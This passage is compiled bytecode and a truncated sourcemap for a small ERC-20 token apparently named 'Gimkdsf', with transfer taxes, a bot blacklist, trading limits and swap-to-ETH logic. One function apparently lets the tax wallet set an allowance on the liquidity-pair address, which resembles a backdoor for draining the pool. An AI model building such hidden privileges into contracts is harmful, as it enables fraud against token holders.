000fd5b505050506040513d601f19601f8201168201806040525081019061076691906117a0565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ec91906117a0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610839573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085d91906117a0565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146108a95760405162461bcd60e51b81526004016103ee90611709565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610399338484610ada565b6000546001600160a01b0316331461092a5760405162461bcd60e51b81526004016103ee90611709565b6109366009600a6116e3565b61094490633b9aca006116f2565b600f556109536009600a6116e3565b61096190633b9aca006116f2565b6010557f7c1cb3702d8e1fa6d24b12dd90670ab69c6d66d58233103d37da8b07d6b850ac6109916009600a6116e3565b61099f90633b9aca006116f2565b60405190815260200160405180910390a1565b6001600160a01b038316610a175760405162461bcd60e51b815260206004820152602660248201527f47696d6b6473663a20617070726f76652066726f6d20746865207a65726f206160448201526564647265737360d01b60648201526084016103ee565b6001600160a01b038216610a795760405162461bcd60e51b8152602060048201526024808201527f47696d6b6473663a20617070726f766520746f20746865207a65726f206164646044820152637265737360e01b60648201526084016103ee565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b405760405162461bcd60e51b815260206004820152602760248201527f47696d6b6473663a207472616e736665722066726f6d20746865207a65726f206044820152666164647265737360c81b60648201526084016103ee565b6001600160a01b038216610ba45760405162461bcd60e51b815260206004820152602560248201527f47696d6b6473663a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b60648201526084016103ee565b60008111610c0f5760405162461bcd60e51b815260206004820152603260248201527f47696d6b6473663a205472616e7366657220616d6f756e74206d7573742062656044820152712067726561746572207468616e207a65726f60701b60648201526084016103ee565b6001600160a01b03831660009081526003602052604081205460ff16158015610c5157506001600160a01b03831660009081526003602052604090205460ff16155b15610fdb576001600160a01b03841660009081526004602052604090205460ff16158015610c9857506001600160a01b03831660009081526004602052604090205460ff16155b610ca157600080fd5b600e54600003610cda57610cd76064610cd1600a54600e5411610cc657600654610cca565b6008545b8590611158565b906111e8565b90505b600e5415610cff57610cfc6064610cd1600d548561115890919063ffffffff16565b90505b6013546001600160a01b038581169116148015610d2a57506012546001600160a01b03848116911614155b8015610d4f57506001600160a01b03831660009081526003602052604090205460ff16155b15610e7457600f54821115610dba5760405162461bcd60e51b815260206004820152602b60248201527f47696d6b6473663a204578636565647320746865206d6178207472616e73616360448201526a1d1a5bdb88185b5bdd5b9d60aa1b60648201526084016103ee565b60105482610ddd856001600160a01b031660009081526001602052604090205490565b610de791906117bd565b1115610e415760405162461bcd60e51b8152602060048201526024808201527f47696d6b6473663a204578636565647320746865206d61782077616c6c65742060448201526373697a6560e01b60648201526084016103ee565b610e5c6064610cd1600a54600e5411610cc657600654610cca565b600e80549192506000610e6e836117d0565b91905055505b6013546001600160a01b038481169116148015610e9a57506001600160a01b0384163014155b15610ec757610ec46064610cd1600b54600e5411610eba57600754610cca565b6009548590611158565b90505b30600090815260016020526040902054601354600160a81b900460ff16158015610efe57506013546001600160a01b038581169116145b8015610f135750601354600160b01b900460ff165b8015610f225750600c54600e54115b15610fd957601554431115610f375760006014555b600360145410610f995760405162461bcd60e51b815260206004820152602760248201527f47696d6b6473663a204f6e6c7920332073656c6c732070657220626c6f636b20604482015266185b1b1bddd95960ca1b60648201526084016103ee565b610fb6610fb184610fac8460115461120d565b61120d565b611222565b610fbf476113c5565b60148054906000610fcf836117d0565b9091555050436015555b505b80156110555730600090815260016020526040902054610ffb9082611403565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061104c9085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054611078908361146d565b6001600160a01b0385166000908152600160205260409020556110bd61109e838361146d565b6001600160a01b03851660009081526001602052604090205490611403565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611107858561146d565b60405190815260200160405180910390a350505050565b600081848411156111425760405162461bcd60e51b81526004016103ee91906114c0565b50600061114f84866117e9565b95945050505050565b60008260000361116a5750600061039d565b600061117683856116f2565b90508261118385836117fc565b146111e15760405162461bcd60e51b815260206004820152602860248201527f47696d6b647366536166654d6174683a206d756c7469706c69636174696f6e206044820152676f766572666c6f7760c01b60648201526084016103ee565b9392505050565b60006111e183836040518060600160405280602181526020016118d060219139611492565b600081831161121c57826111e1565b50919050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061126a5761126a61181e565b60200260200101906001600160a01b031690816001600160a01b0316815250508160000361129857506113b5565b601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130f91906117a0565b816001815181106113225761132261181e565b6001600160a01b03928316602091820292909201015260125461134891309116846109b2565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611381908590600090869030904290600401611834565b600060405180830381600087803b15801561139b57600080fd5b505af11580156113af573d6000803e3d6000fd5b50505050505b506013805460ff60a81b19169055565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156113ff573d6000803e3d6000fd5b5050565b60008061141083856117bd565b9050838110156111e15760405162461bcd60e51b815260206004820152602260248201527f47696d6b647366536166654d6174683a206164646974696f6e206f766572666c6044820152616f7760f01b60648201526084016103ee565b60006111e183836040518060600160405280602581526020016118f16025913961111e565b600081836114b35760405162461bcd60e51b81526004016103ee91906114c0565b50600061114f84866117fc565b600060208083528351808285015260005b818110156114ed578581018301518582016040015282016114d1565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461152357600080fd5b50565b6000806040838503121561153957600080fd5b82356115448161150e565b946020939093013593505050565b60008060006060848603121561156757600080fd5b83356115728161150e565b925060208401356115828161150e565b929592945050506040919091013590565b6000602082840312156115a557600080fd5b81356111e18161150e565b600080604083850312156115c357600080fd5b82356115ce8161150e565b915060208301356115de8161150e565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561163a578160001904821115611620576116206115e9565b8085161561162d57918102915b93841c9390800290611604565b509250929050565b6000826116515750600161039d565b8161165e5750600061039d565b8160018114611674576002811461167e5761169a565b600191505061039d565b60ff84111561168f5761168f6115e9565b50506001821b61039d565b5060208310610133831016604e8410600b84101617156116bd575081810a61039d565b6116c783836115ff565b80600019048211156116db576116db6115e9565b029392505050565b60006111e160ff841683611642565b808202811582820484141761039d5761039d6115e9565b60208082526027908201527f47696d6b6473664f776e61626c653a2063616c6c6572206973206e6f74207468604082015266329037bbb732b960c91b606082015260800190565b60008060006060848603121561176557600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561179057600080fd5b815180151581146111e157600080fd5b6000602082840312156117b257600080fd5b81516111e18161150e565b8082018082111561039d5761039d6115e9565b6000600182016117e2576117e26115e9565b5060010190565b8181038181111561039d5761039d6115e9565b60008261181957634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118845784516001600160a01b03168352938301939183019160010161185f565b50506001600160a01b0396909616606085015250505060800152939250505056fe47696d6b6473663a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636547696d6b647366536166654d6174683a206469766973696f6e206279207a65726f47696d6b647366536166654d6174683a207375627472616374696f6e206f766572666c6f77a2646970667358221220f76ddafe69ac2d0ae52b4c78e55d28db7c8a3f3ea51b021dfa21fcd614540b7f64736f6c63430008130033

Deployed Bytecode Sourcemap

3591:8067:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4575:63;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;4575:63:0;;;;;;;;5610:83;;;;;;;;;;-1:-1:-1;5680:5:0;;;;;;;;;;;;-1:-1:-1;;;5680:5:0;;;;5610:83;;;;;;;:::i;6448:161::-;;;;;;;;;;-1:-1:-1;6448:161:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;6448:161:0;1205:187:1;5887:100:0;;;;;;;;;;;;;:::i;11208:410::-;;;;;;;;;;;;;:::i;:::-;;4711:56;;;;;;;;;;;;;;;;6617:315;;;;;;;;;;-1:-1:-1;6617:315:0;;;;;:::i;:::-;;:::i;9676:229::-;;;;;;;;;;-1:-1:-1;9676:229:0;;;;;:::i;:::-;;:::i;5796:83::-;;;;;;;;;;-1:-1:-1;5796:83:0;;4388:1;2328:36:1;;2316:2;2301:18;5796:83:0;2186:184:1;4645:59:0;;;;;;;;;;;;;;;;10867:333;;;;;;;;;;;;;:::i;5995:119::-;;;;;;;;;;-1:-1:-1;5995:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6088:18:0;6061:7;6088:18;;;:9;:18;;;;;;;5995:119;2678:148;;;;;;;;;;;;;:::i;2457:79::-;;;;;;;;;;-1:-1:-1;2495:7:0;2522:6;2457:79;;-1:-1:-1;;;;;2522:6:0;;;2773:51:1;;2761:2;2746:18;2457:79:0;2627:203:1;5701:87:0;;;;;;;;;;-1:-1:-1;5773:7:0;;;;;;;;;;;;-1:-1:-1;;;5773:7:0;;;;5701:87;;6122:167;;;;;;;;;;-1:-1:-1;6122:167:0;;;;;:::i;:::-;;:::i;10554:199::-;;;;;;;;;;;;;:::i;6297:143::-;;;;;;;;;;-1:-1:-1;6297:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6405:18:0;;;6378:7;6405:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6297:143;6448:161;6523:4;6540:39;243:10;6563:7;6572:6;6540:8;:39::i;:::-;-1:-1:-1;6597:4:0;6448:161;;;;;:::o;5887:100::-;5940:7;4449:13;4388:1;4449:2;:13;:::i;:::-;4436:26;;:10;:26;:::i;:::-;5960:19;;5887:100;:::o;11208:410::-;2584:6;;-1:-1:-1;;;;;2584:6:0;243:10;2584:22;2576:74;;;;-1:-1:-1;;;2576:74:0;;;;;;;:::i;:::-;;;;;;;;;11272:12:::1;::::0;-1:-1:-1;;;11272:12:0;::::1;;;11271:13;11263:58;;;::::0;-1:-1:-1;;;11263:58:0;;5526:2:1;11263:58:0::1;::::0;::::1;5508:21:1::0;;;5545:18;;;5538:30;5604:34;5584:18;;;5577:62;5656:18;;11263:58:0::1;5324:356:1::0;11263:58:0::1;11332:14;::::0;-1:-1:-1;;;;;11332:14:0::1;:30;11370:21;11401:4;11408:24;11401:4:::0;-1:-1:-1;;;;;6088:18:0;6061:7;6088:18;;;:9;:18;;;;;;;5995:119;11408:24:::1;11434:1;11437::::0;11440:7:::1;2495::::0;2522:6;-1:-1:-1;;;;;2522:6:0;;2457:79;11440:7:::1;11332:133;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11332:133:0;;;-1:-1:-1;;;;;6044:15:1;;;11332:133:0::1;::::0;::::1;6026:34:1::0;6076:18;;;6069:34;;;;6119:18;;;6112:34;;;;6162:18;;;6155:34;6226:15;;;6205:19;;;6198:44;11449:15:0::1;6258:19:1::0;;;6251:35;5960:19;;11332:133:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11485:12:0::1;::::0;11515:14:::1;::::0;11476:71:::1;::::0;-1:-1:-1;;;11476:71:0;;-1:-1:-1;;;;;11515:14:0;;::::1;11476:71;::::0;::::1;6782:51:1::0;-1:-1:-1;;6849:18:1;;;6842:34;11485:12:0;::::1;::::0;-1:-1:-1;11476:30:0::1;::::0;6755:18:1;;11476:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11558:15:0::1;:22:::0;;-1:-1:-1;;;;11591:19:0;-1:-1:-1;;;11591:19:0;;;11208:410::o;6617:315::-;6715:4;6732:36;6742:6;6750:9;6761:6;6732:9;:36::i;:::-;6779:123;6788:6;243:10;6810:91;6848:6;6810:91;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6810:19:0;;;;;;:11;:19;;;;;;;;243:10;6810:33;;;;;;;;;;:37;:91::i;:::-;6779:8;:123::i;:::-;-1:-1:-1;6920:4:0;6617:315;;;;;:::o;9676:229::-;9787:14;;-1:-1:-1;;;;;9787:14:0;9773:10;:28;9765:37;;;;;;9825:12;;-1:-1:-1;;;;;9825:12:0;;;9813:25;;;;:11;:25;;;;;;;;:35;;;;;;;;;;;:48;9872:14;:25;;-1:-1:-1;;;;;;9872:25:0;;;;;;9676:229::o;10867:333::-;2584:6;;-1:-1:-1;;;;;2584:6:0;243:10;2584:22;2576:74;;;;-1:-1:-1;;;2576:74:0;;;;;;;:::i;:::-;10926:14:::1;:77:::0;;-1:-1:-1;;;;;;10926:77:0::1;10960:42;10926:77:::0;;::::1;::::0;;;11014:62:::1;::::0;11031:4:::1;::::0;4449:13:::1;4388:1;4449:2;:13;:::i;:::-;4436:26;::::0;:10:::1;:26;:::i;11014:62::-;11118:14;;;;;;;;;-1:-1:-1::0;;;;;11118:14:0::1;-1:-1:-1::0;;;;;11118:22:0::1;;:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11102:52:0::1;;11163:4;11170:14;;;;;;;;;-1:-1:-1::0;;;;;11170:14:0::1;-1:-1:-1::0;;;;;11170:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11102:90;::::0;-1:-1:-1;;;;;;11102:90:0::1;::::0;;;;;;-1:-1:-1;;;;;7655:15:1;;;11102:90:0::1;::::0;::::1;7637:34:1::0;7707:15;;7687:18;;;7680:43;7572:18;;11102:90:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11087:12;:105:::0;;-1:-1:-1;;;;;;11087:105:0::1;-1:-1:-1::0;;;;;11087:105:0;;;::::1;::::0;;;::::1;::::0;;10867:333::o;2678:148::-;2584:6;;-1:-1:-1;;;;;2584:6:0;243:10;2584:22;2576:74;;;;-1:-1:-1;;;2576:74:0;;;;;;;:::i;:::-;2785:1:::1;2769:6:::0;;2748:40:::1;::::0;-1:-1:-1;;;;;2769:6:0;;::::1;::::0;2748:40:::1;::::0;2785:1;;2748:40:::1;2816:1;2799:19:::0;;-1:-1:-1;;;;;;2799:19:0::1;::::0;;2678:148::o;6122:167::-;6200:4;6217:42;243:10;6241:9;6252:6;6217:9;:42::i;10554:199::-;2584:6;;-1:-1:-1;;;;;2584:6:0;243:10;2584:22;2576:74;;;;-1:-1:-1;;;2576:74:0;;;;;;;:::i;:::-;4449:13:::1;4388:1;4449:2;:13;:::i;:::-;4436:26;::::0;:10:::1;:26;:::i;:::-;10609:21;:36:::0;4449:13:::1;4388:1;4449:2;:13;:::i;:::-;4436:26;::::0;:10:::1;:26;:::i;:::-;10656:17;:32:::0;10704:41:::1;4449:13;4388:1;4449:2;:13;:::i;:::-;4436:26;::::0;:10:::1;:26;:::i;:::-;10704:41;::::0;160:25:1;;;148:2;133:18;10704:41:0::1;;;;;;;10554:199::o:0;6940:339::-;-1:-1:-1;;;;;7033:19:0;;7025:70;;;;-1:-1:-1;;;7025:70:0;;7936:2:1;7025:70:0;;;7918:21:1;7975:2;7955:18;;;7948:30;8014:34;7994:18;;;7987:62;-1:-1:-1;;;8065:18:1;;;8058:36;8111:19;;7025:70:0;7734:402:1;7025:70:0;-1:-1:-1;;;;;7114:21:0;;7106:70;;;;-1:-1:-1;;;7106:70:0;;8343:2:1;7106:70:0;;;8325:21:1;8382:2;8362:18;;;8355:30;8421:34;8401:18;;;8394:62;-1:-1:-1;;;8472:18:1;;;8465:34;8516:19;;7106:70:0;8141:400:1;7106:70:0;-1:-1:-1;;;;;7187:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7239:32;;160:25:1;;;7239:32:0;;133:18:1;7239:32:0;;;;;;;6940:339;;;:::o;7287:2381::-;-1:-1:-1;;;;;7375:18:0;;7367:70;;;;-1:-1:-1;;;7367:70:0;;8748:2:1;7367:70:0;;;8730:21:1;8787:2;8767:18;;;8760:30;8826:34;8806:18;;;8799:62;-1:-1:-1;;;8877:18:1;;;8870:37;8924:19;;7367:70:0;8546:403:1;7367:70:0;-1:-1:-1;;;;;7456:16:0;;7448:66;;;;-1:-1:-1;;;7448:66:0;;9156:2:1;7448:66:0;;;9138:21:1;9195:2;9175:18;;;9168:30;9234:34;9214:18;;;9207:62;-1:-1:-1;;;9285:18:1;;;9278:35;9330:19;;7448:66:0;8954:401:1;7448:66:0;7542:1;7533:6;:10;7525:73;;;;-1:-1:-1;;;7525:73:0;;9562:2:1;7525:73:0;;;9544:21:1;9601:2;9581:18;;;9574:30;9640:34;9620:18;;;9613:62;-1:-1:-1;;;9691:18:1;;;9684:48;9749:19;;7525:73:0;9360:414:1;7525:73:0;-1:-1:-1;;;;;7644:24:0;;7609:17;7644:24;;;:18;:24;;;;;;;;7643:25;:52;;;;-1:-1:-1;;;;;;7673:22:0;;;;;;:18;:22;;;;;;;;7672:23;7643:52;7639:1660;;;-1:-1:-1;;;;;7721:11:0;;;;;;:5;:11;;;;;;;;7720:12;:26;;;;-1:-1:-1;;;;;;7737:9:0;;;;;;:5;:9;;;;;;;;7736:10;7720:26;7712:35;;;;;;7767:9;;7778:1;7767:12;7764:140;;7811:77;7884:3;7811:68;7833:17;;7823:9;;:27;7822:56;;7864:14;;7822:56;;;7852:11;;7822:56;7811:6;;:10;:68::i;:::-;:72;;:77::i;:::-;7799:89;;7764:140;7921:9;;:11;7918:95;;7964:33;7993:3;7964:24;7975:12;;7964:6;:10;;:24;;;;:::i;:33::-;7952:45;;7918:95;8041:12;;-1:-1:-1;;;;;8033:20:0;;;8041:12;;8033:20;:53;;;;-1:-1:-1;8071:14:0;;-1:-1:-1;;;;;8057:29:0;;;8071:14;;8057:29;;8033:53;:80;;;;-1:-1:-1;;;;;;8091:22:0;;;;;;:18;:22;;;;;;;;8090:23;8033:80;8029:457;;;8152:21;;8142:6;:31;;8134:87;;;;-1:-1:-1;;;8134:87:0;;9981:2:1;8134:87:0;;;9963:21:1;10020:2;10000:18;;;9993:30;10059:34;10039:18;;;10032:62;-1:-1:-1;;;10110:18:1;;;10103:41;10161:19;;8134:87:0;9779:407:1;8134:87:0;8274:17;;8264:6;8248:13;8258:2;-1:-1:-1;;;;;6088:18:0;6061:7;6088:18;;;:9;:18;;;;;;;5995:119;8248:13;:22;;;;:::i;:::-;:43;;8240:92;;;;-1:-1:-1;;;8240:92:0;;10523:2:1;8240:92:0;;;10505:21:1;10562:2;10542:18;;;10535:30;10601:34;10581:18;;;10574:62;-1:-1:-1;;;10652:18:1;;;10645:34;10696:19;;8240:92:0;10321:400:1;8240:92:0;8363:77;8436:3;8363:68;8385:17;;8375:9;;:27;8374:56;;8416:14;;8374:56;;8363:77;8459:9;:11;;8351:89;;-1:-1:-1;8459:9:0;:11;;;:::i;:::-;;;;;;8029:457;8511:12;;-1:-1:-1;;;;;8505:18:0;;;8511:12;;8505:18;:43;;;;-1:-1:-1;;;;;;8527:21:0;;8543:4;8527:21;;8505:43;8502:174;;;8580:80;8656:3;8580:71;8602:18;;8592:9;;:28;8591:59;;8635:15;;8591:59;;;8622:12;;8580:6;;:10;:71::i;:80::-;8568:92;;8502:174;8741:4;8692:28;6088:18;;;:9;:18;;;;;;8767:7;;-1:-1:-1;;;8767:7:0;;;;8766:8;:30;;;;-1:-1:-1;8784:12:0;;-1:-1:-1;;;;;8778:18:0;;;8784:12;;8778:18;8766:30;:49;;;;-1:-1:-1;8800:15:0;;-1:-1:-1;;;8800:15:0;;;;8766:49;:83;;;;;8831:18;;8819:9;;:30;8766:83;8762:526;;;8889:14;;8874:12;:29;8870:92;;;8941:1;8928:10;:14;8870:92;9001:1;8988:10;;:14;8980:66;;;;-1:-1:-1;;;8980:66:0;;11068:2:1;8980:66:0;;;11050:21:1;11107:2;11087:18;;;11080:30;11146:34;11126:18;;;11119:62;-1:-1:-1;;;11197:18:1;;;11190:37;11244:19;;8980:66:0;10866:403:1;8980:66:0;9065:72;9082:54;9086:6;9094:41;9098:20;9120:14;;9094:3;:41::i;:::-;9082:3;:54::i;:::-;9065:16;:72::i;:::-;9156:37;9171:21;9156:14;:37::i;:::-;9212:10;:12;;;:10;:12;;;:::i;:::-;;;;-1:-1:-1;;9260:12:0;9243:14;:29;8762:526;7697:1602;7639:1660;9314:13;;9311:170;;9388:4;9370:24;;;;:9;:24;;;;;;:39;;9399:9;9370:28;:39::i;:::-;9361:4;9343:24;;;;:9;:24;;;;;;;:66;;;;9429:40;;-1:-1:-1;;;;;9429:40:0;;;;;;;9459:9;160:25:1;;148:2;133:18;;14:177;9429:40:0;;;;;;;;9311:170;-1:-1:-1;;;;;9509:15:0;;;;;;:9;:15;;;;;;:27;;9529:6;9509:19;:27::i;:::-;-1:-1:-1;;;;;9491:15:0;;;;;;:9;:15;;;;;:45;9563:40;9581:21;:6;9592:9;9581:10;:21::i;:::-;-1:-1:-1;;;;;9563:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9547:13:0;;;;;;;:9;:13;;;;;:56;;;;9619:41;;;9638:21;:6;9649:9;9638:10;:21::i;:::-;9619:41;;160:25:1;;;148:2;133:18;9619:41:0;;;;;;;7356:2312;7287:2381;;;:::o;1323:190::-;1409:7;1445:12;1437:6;;;;1429:29;;;;-1:-1:-1;;;1429:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1469:9:0;1481:5;1485:1;1481;:5;:::i;:::-;1469:17;1323:190;-1:-1:-1;;;;;1323:190:0:o;1521:253::-;1579:7;1603:1;1608;1603:6;1599:47;;-1:-1:-1;1633:1:0;1626:8;;1599:47;1656:9;1668:5;1672:1;1668;:5;:::i;:::-;1656:17;-1:-1:-1;1701:1:0;1692:5;1696:1;1656:17;1692:5;:::i;:::-;:10;1684:63;;;;-1:-1:-1;;;1684:63:0;;11831:2:1;1684:63:0;;;11813:21:1;11870:2;11850:18;;;11843:30;11909:34;11889:18;;;11882:62;-1:-1:-1;;;11960:18:1;;;11953:38;12008:19;;1684:63:0;11629:404:1;1684:63:0;1765:1;1521:253;-1:-1:-1;;;1521:253:0:o;1782:139::-;1840:7;1867:46;1871:1;1874;1867:46;;;;;;;;;;;;;;;;;:3;:46::i;9913:106::-;9970:7;10001:1;9997;:5;9996:15;;10010:1;9996:15;;;-1:-1:-1;10006:1:0;9913:106;-1:-1:-1;9913:106:0:o;10027:519::-;5199:7;:14;;-1:-1:-1;;;;5199:14:0;-1:-1:-1;;;5199:14:0;;;10129:16:::1;::::0;;10143:1:::1;10129:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10129:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10129:16:0::1;10105:40;;10174:4;10156;10161:1;10156:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;10156:23:0::1;;;-1:-1:-1::0;;;;;10156:23:0::1;;;::::0;::::1;10194:11;10209:1;10194:16:::0;10190:29:::1;;10212:7;;;10190:29;10239:14;;;;;;;;;-1:-1:-1::0;;;;;10239:14:0::1;-1:-1:-1::0;;;;;10239:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10229:4;10234:1;10229:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10229:31:0;;::::1;:7;::::0;;::::1;::::0;;;;;:31;10303:14:::1;::::0;10271:61:::1;::::0;10288:4:::1;::::0;10303:14:::1;10320:11:::0;10271:8:::1;:61::i;:::-;10343:14;::::0;:195:::1;::::0;-1:-1:-1;;;10343:195:0;;-1:-1:-1;;;;;10343:14:0;;::::1;::::0;:65:::1;::::0;:195:::1;::::0;10423:11;;10343:14:::1;::::0;10465:4;;10492::::1;::::0;10512:15:::1;::::0;10343:195:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10094:452;5224:1;-1:-1:-1::0;5236:7:0;:15;;-1:-1:-1;;;;5236:15:0;;;10027:519::o;10761:98::-;10820:14;;:31;;-1:-1:-1;;;;;10820:14:0;;;;:31;;;;;10844:6;;10820:14;:31;:14;:31;10844:6;10820:14;:31;;;;;;;;;;;;;;;;;;;;;10761:98;:::o;978:186::-;1036:7;;1068:5;1072:1;1068;:5;:::i;:::-;1056:17;;1097:1;1092;:6;;1084:53;;;;-1:-1:-1;;;1084:53:0;;13489:2:1;1084:53:0;;;13471:21:1;13528:2;13508:18;;;13501:30;13567:34;13547:18;;;13540:62;-1:-1:-1;;;13618:18:1;;;13611:32;13660:19;;1084:53:0;13287:398:1;1172:143:0;1230:7;1257:50;1261:1;1264;1257:50;;;;;;;;;;;;;;;;;:3;:50::i;1929:189::-;2015:7;2050:12;2043:5;2035:28;;;;-1:-1:-1;;;2035:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2074:9:0;2086:5;2090:1;2086;:5;:::i;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;804:70;749:131;:::o;885:315::-;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2375:247::-;2434:6;2487:2;2475:9;2466:7;2462:23;2458:32;2455:52;;;2503:1;2500;2493:12;2455:52;2542:9;2529:23;2561:31;2586:5;2561:31;:::i;2835:388::-;2903:6;2911;2964:2;2952:9;2943:7;2939:23;2935:32;2932:52;;;2980:1;2977;2970:12;2932:52;3019:9;3006:23;3038:31;3063:5;3038:31;:::i;:::-;3088:5;-1:-1:-1;3145:2:1;3130:18;;3117:32;3158:33;3117:32;3158:33;:::i;:::-;3210:7;3200:17;;;2835:388;;;;;:::o;3228:127::-;3289:10;3284:3;3280:20;3277:1;3270:31;3320:4;3317:1;3310:15;3344:4;3341:1;3334:15;3360:422;3449:1;3492:5;3449:1;3506:270;3527:7;3517:8;3514:21;3506:270;;;3586:4;3582:1;3578:6;3574:17;3568:4;3565:27;3562:53;;;3595:18;;:::i;:::-;3645:7;3635:8;3631:22;3628:55;;;3665:16;;;;3628:55;3744:22;;;;3704:15;;;;3506:270;;;3510:3;3360:422;;;;;:::o;3787:806::-;3836:5;3866:8;3856:80;;-1:-1:-1;3907:1:1;3921:5;;3856:80;3955:4;3945:76;;-1:-1:-1;3992:1:1;4006:5;;3945:76;4037:4;4055:1;4050:59;;;;4123:1;4118:130;;;;4030:218;;4050:59;4080:1;4071:10;;4094:5;;;4118:130;4155:3;4145:8;4142:17;4139:43;;;4162:18;;:::i;:::-;-1:-1:-1;;4218:1:1;4204:16;;4233:5;;4030:218;;4332:2;4322:8;4319:16;4313:3;4307:4;4304:13;4300:36;4294:2;4284:8;4281:16;4276:2;4270:4;4267:12;4263:35;4260:77;4257:159;;;-1:-1:-1;4369:19:1;;;4401:5;;4257:159;4448:34;4473:8;4467:4;4448:34;:::i;:::-;4518:6;4514:1;4510:6;4506:19;4497:7;4494:32;4491:58;;;4529:18;;:::i;:::-;4567:20;;3787:806;-1:-1:-1;;;3787:806:1:o;4598:140::-;4656:5;4685:47;4726:4;4716:8;4712:19;4706:4;4685:47;:::i;4743:168::-;4816:9;;;4847;;4864:15;;;4858:22;;4844:37;4834:71;;4885:18;;:::i;4916:403::-;5118:2;5100:21;;;5157:2;5137:18;;;5130:30;5196:34;5191:2;5176:18;;5169:62;-1:-1:-1;;;5262:2:1;5247:18;;5240:37;5309:3;5294:19;;4916:403::o;6297:306::-;6385:6;6393;6401;6454:2;6442:9;